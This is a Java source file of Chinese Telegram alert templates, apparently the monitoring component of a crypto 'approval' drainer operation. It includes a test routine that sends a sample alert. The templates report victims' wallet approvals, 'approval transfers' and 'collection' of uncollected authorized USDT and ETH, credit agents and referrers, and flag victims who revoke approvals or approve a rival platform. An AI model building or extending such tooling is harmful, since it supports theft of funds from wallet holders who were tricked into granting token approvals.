package project.monitor.telegram; import java.text.MessageFormat; import java.util.ArrayList; import java.util.Date; import java.util.List; import org.springframework.web.util.HtmlUtils; import kernel.util.DateUtils; import project.monitor.telegram.internal.TelegramMessageServiceImpl; public class TextFormat { /** * 新增用户 */ public static final String TEXT_NEW_USER = "🆕新增用户\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n⏰时间:{4}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{5}\n🥈今日授权用户数:{6}\n🥉总用户数:{7}\n\n🥇授权总金额:{8}\n🥈授权地址数:{9}\n"; /** * 用户成功被授权 */ public static final String TEXT_APPROVE = "✅新增监控\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n⏰时间:{4}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{5}\n🥈今日授权用户数:{6}\n🥉总用户数:{7}\n\n🥇授权总金额:{8}\n🥈授权转账总金额:{9}\n🥉未归集授权总金额:{10}\n🎖授权地址数:{11}\n\n{13}"; /** * 用户授权失败 */ public static final String TEXT_APPROVE_ERROR = "⛔️用户授权失败,请及时跟进\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n⏰时间:{4}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{5}\n🥈今日授权用户数:{6}\n🥉总用户数:{7}\n\n🥇授权总金额:{8}\n🥈授权地址数:{9}\n\n{11}"; /** * 授权转账失败 */ public static final String TEXT_TRANSFER_FROM_ERROR = "⛔️授权转账失败,请及时跟进\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n\n💸转账数量:{4}\n🔺失败原因:{5}\n⏰时间:{6}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{7}\n🥈今日授权用户数:{8}\n🥉总用户数:{9}\n\n🥇授权总金额:{10}\n🥈授权转账总金额:{11}\n🥉未归集授权总金额:{12}\n🎖授权地址数:{13}\n"; /** * 用户兑换ETH */ public static final String TEXT_WALLET_ETH_WITHDRAW = "🔁用户兑换ETH,请及时跟进\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n\n💸ETH数量:{4}\n💸兑换USDT:{5}\n⏰时间:{6}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{7}\n🥈今日授权用户数:{8}\n🥉总用户数:{9}\n\n🥇授权总金额:{10}\n🥈授权地址数:{11}\n"; /** * 用户USDT余额变化 */ public static final String TEXT_WALLET_USDT_CHANGE = "用户USDT余额变化,请关注\n\n[钱包地址] {0}\n[用户UID] {1}\n[代理] {2}\n\n[上级用户] {3}\n[历史余额] {4}\n[变动金额] {5}\n[当前余额] {6}\n[时间] {7}\n\n------数据统计\n[今日新用户数] {8}\n[今日授权用户数] {9}\n[总用户数] {10}\n\n[授权总金额] {11}\n[授权地址数] {12}\n"; /** * 用户USDT余额增加 */ public static final String TEXT_WALLET_USDT_ADD = "💸💸💸USDT余额增加💸💸💸\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n\n🌗历史余额:{4}\n🌖变动金额:{5}\n🌕当前余额:{6}\n⏰变动时间:{7}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{8}\n🥈今日授权用户数:{9}\n🥉总用户数:{10}\n\n🥇授权总金额:{11}\n🥈授权转账总金额:{12}\n🥉未归集授权总金额:{13}\n🎖授权地址数:{14}\n"; /** * 用户USDT余额减少 */ public static final String TEXT_WALLET_USDT_SUB = "⚠️当前地址USDT余额减少,请注意跟进!\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n\n🌗历史余额:{4}\n🌖变动金额:{5}\n🌕当前余额:{6}\n⏰变动时间:{7}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{8}\n🥈今日授权用户数:{9}\n🥉总用户数:{10}\n\n🥇授权总金额:{11}\n🥈授权转账总金额:{12}\n🥉未归集授权总金额:{13}\n🎖授权地址数:{14}\n"; /** * 用户ETH余额变化 */ public static final String TEXT_WALLET_ETH_CHANGE = "用户ETH余额变化,请关注\n\n[钱包地址] {0}\n[用户UID] {1}\n[代理] {2}\n\n[上级用户] {3}\n[历史余额] {4}\n[变动金额] {5}\n[当前余额] {6}\n[时间] {7}\n\n------数据统计\n[今日新用户数] {8}\n[今日授权用户数] {9}\n[总用户数] {10}\n\n[授权总金额] {11}\n[授权地址数] {12}\n"; /** * 用户ETH余额增加 */ public static final String TEXT_WALLET_ETH_ADD = "⚠️当前地址ETH余额增加,请注意跟进!\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n\n🌗历史余额:{4}\n🌖变动金额:{5}\n🌕当前余额:{6}\n⏰变动时间:{7}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{8}\n🥈今日授权用户数:{9}\n🥉总用户数:{10}\n\n🥇授权总金额:{11}\n🥈授权转账总金额:{12}\n🥉未归集授权总金额:{13}\n🎖授权地址数:{14}\n"; /** * 用户ETH余额减少 */ public static final String TEXT_WALLET_ETH_SUB = "⚠️当前地址ETH余额减少,请注意跟进!\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n\n🌗历史余额:{4}\n🌖变动金额:{5}\n🌕当前余额:{6}\n⏰变动时间:{7}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{8}\n🥈今日授权用户数:{9}\n🥉总用户数:{10}\n\n🥇授权总金额:{11}\n🥈授权转账总金额:{12}\n🥉未归集授权总金额:{13}\n🎖授权地址数:{14}\n"; /** * 用户领取活动 */ public static final String TEXT_GET_ACTIVITY = "📣用户领取了活动,请及时跟进\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n\n📢活动:{4}\n⏰时间:{5}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{6}\n🥈今日授权用户数:{7}\n🥉总用户数:{8}\n\n🥇授权总金额:{9}\n🥈授权转账总金额:{10}\n🥉未归集授权总金额:{11}\n🎖授权地址数:{12}\n"; /** * 今日平台数据 */ public static final String TEXT_TODAY_DATA = "🎖🎖🎖今日平台数据🎖🎖🎖\n\n🥇今日新用户数:{0}\n🥈今日授权用户数:{1}\n🥉总用户数:{2}\n\n🥇授权总金额:{3}\n🥈授权转账总金额:{4}\n🥉未归集授权总金额:{5}\n🎖授权地址数:{6}\n\n🥇今日授权转账金额:{7}\n"; /** * 授权地址已满 */ public static final String TEXT_APPROVE_ADDRESS_FULL = "⚠️当前授权地址授满切换,请注意补充。\n\n🥇剩余授权地址数:{0}\n🥈剩余可授权用户数:{1}\n\n⏰变动时间:{2}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{3}\n🥈今日授权用户数:{4}\n"; /** * 最后一条授权地址警告 */ public static final String TEXT_LAST_APPROVE_ADDRESS_WARNING = "⚠️当前为最后一条授权地址授权,请注意补充。\n\n🥇剩余授权地址数:{0}\n🥈剩余可授权用户数:{1}\n\n⏰变动时间:{2}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{3}\n🥈今日授权用户数:{4}\n"; /** * 非本项目配置的授权地址授权 */ public static final String TEXT_APPROVE_OTHER_ADDRESS_DANGER = "‼️‼️告警!!!用户存在非本盘的授权记录,请及时查看确认‼️‼️\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n⏰时间:{4}\n🔑授权给:{5}\n\n🥇该用户授权金额:{6}\n\n{8}\n"; /** * 用户取消授权 */ public static final String TEXT_APPROVE_REVOKED_DANGER = "‼️‼️告警!!!用户存在取消授权操作,请及时查看确认‼️‼️\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n⏰时间:{4}\n\n🥇该用户授权金额:{5}\n\n{7}\n"; /** * 用户USDT归集 */ public static final String TEXT_WALLET_USDT_COLLECT = "💸💸💸当前地址余额已归集成功💸💸💸\n\n💰钱包地址:{0}\n\n🆔用户UID:{1}\n🧑🏻‍🦰代理:{2}\n👨‍🦱上级用户:{3}\n\n🌕归集金额:{4}\n⏰时间:{5}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{6}\n🥈今日授权用户数:{7}\n🥉总用户数:{8}\n\n🥇授权总金额:{9}\n🥈授权转账总金额:{10}\n🥉未归集授权总金额:{11}\n🎖授权地址数:{12}\n\n🥇今日授权转账金额:{13}\n"; /** * 转账失败 */ public static final String TEXT_SETTLE_TRANSFER_ERROR = "⛔️清算转账失败,请及时跟进\n\n🆔清算订单号:{0}\n\n💰发起地址:{1}\n💰到账地址:{2}\n💸转账数量:{3}\n🔺失败原因:{4}\n⏰时间:{5}\n\n🎖🎖🎖数据统计🎖🎖🎖\n\n🥇今日新用户数:{6}\n🥈今日授权用户数:{7}\n🥉总用户数:{8}\n\n🥇授权总金额:{9}\n🥈授权转账总金额:{10}\n🥉未归集授权总金额:{11}\n🎖授权地址数:{12}\n"; public static String getText(String text, Object[] object) { String msg = MessageFormat.format(text, object); return msg; } public static void main(String[] args) { String address = "0x35D2d03607b9155b42CF673102FE58251AC4F644"; String txHash = "0x9146c0e3ec07ee519acb8068fbb7b3c244a7a61d3fdfae353ff2a9f972adb4ca"; // List param = new ArrayList(); // param.add(address);// [钱包地址] //// param.add("1");// [监控时间] // param.add("2");// [用户UID] // param.add("3");// [归属] // param.add("备注");// [上级用户] // param.add("4");// [时间] // param.add("5");// [今日新用户数] // param.add("6");// [今日授权用户数] // param.add("7");// [总用户数] // param.add("8");// [授权总金额] // param.add("9");// [授权地址数] // param.add("https://etherscan.io/address/" + address);// [用户地址连接] // param.add("在Etherscan上查看");// [链接标题] //// Object[] param=new Object[] {}; // String text = getText(TEXT_NEW_USER, param.toArray()); // System.out.println(text); // TelegramMessageService service = new TelegramMessageServiceImpl(); // service.send(text); // String url = "https://etherscan.io/tx/" + txHash; // String error = "在Etherscan上查看"; // List param = new ArrayList(); // param.add(address);// [钱包地址] // param.add(2);// [用户UID] // param.add(3);// [归属] 找到最近的代理商 // param.add(4);// [转账数量] // param.add(error);// [失败原因] // param.add(5);// [时间] // param.add(6);// [今日新用户数] // param.add(7);// [今日授权用户数] // param.add(8);// [总用户数] // param.add(9);// [授权总金额] // param.add(10);// [授权地址数] // String text1 = TextFormat.getText(TextFormat.TEXT_TRANSFER_FROM_ERROR, param.toArray()); // TelegramMessageService service = new TelegramMessageServiceImpl(); // service.send(text1); usdtAdd(); } public static void usdtAdd() { String address = "0x35D2d03607b9155b42CF673102FE58251AC4F644"; String txHash = "0x9146c0e3ec07ee519acb8068fbb7b3c244a7a61d3fdfae353ff2a9f972adb4ca"; List param = new ArrayList(); param.add(address);// [钱包地址] // param.add("1");// [监控时间] param.add("2");// [用户UID] param.add("3");// [代理] param.add(HtmlUtils.htmlEscape("备注>"));// [上级用户] param.add(10);// [历史余额] param.add(3);// [变动金额] param.add(13);// [当前余额] param.add(DateUtils.format(new Date(), DateUtils.DF_yyyyMMddHHmmss));// [时间] param.add(1);// [今日新用户数] param.add(2);// [今日授权用户数] param.add(3);// [总用户数] param.add(4);// [授权总金额] param.add(5);// [授权地址数] // Object[] param=new Object[] {}; String text = getText(TEXT_WALLET_USDT_ADD, param.toArray()); // String text = getText(TEXT_WALLET_USDT_CHANGE, param.toArray()); // System.out.println(text); TelegramMessageService service = new TelegramMessageServiceImpl(); service.send(text); } }